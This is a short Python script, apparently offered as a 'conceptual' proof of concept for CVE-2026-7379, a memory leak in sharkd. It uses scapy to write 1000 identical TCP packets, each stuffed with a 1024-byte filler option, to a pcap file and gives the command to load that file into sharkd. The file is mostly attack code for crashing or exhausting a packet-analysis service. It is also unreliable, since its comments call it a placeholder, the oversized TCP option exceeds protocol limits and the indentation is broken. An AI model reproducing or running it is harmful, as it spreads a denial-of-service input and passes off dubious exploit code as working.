The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Conceptual PoC for CVE-2026-7379 (Memory Leak in sharkd)
# This script creates a malformed pcap file that may trigger the memory leak.
from scapy.all import *
import sys
# Create a packet structure targeting the vulnerable dissector logic
# Real-world exploit would require specific protocol fields based on the advisory.
# Here we simulate a payload that forces repeated allocation.
malicious_payload = b"\x41" * 1024 # Filler data
pkt = Ether()/IP(dst="192.168.1.1")/TCP(dport=80, options=[(19, malicious_payload)])
# Generate multiple packets to exacerbate the leak
packets = [pkt] * 1000
try:
wrpcap("cve_2026_7379_poc.pcap", packets)
print("[+] Payload file 'cve_2026_7379_poc.pcap' generated successfully.")
print("[*] Usage: Load this file in sharkd (e.g., 'sharkd -r cve_2026_7379_poc.pcap') and monitor memory usage.")
except Exception as e:
print(f"[-] Error generating pcap: {e}")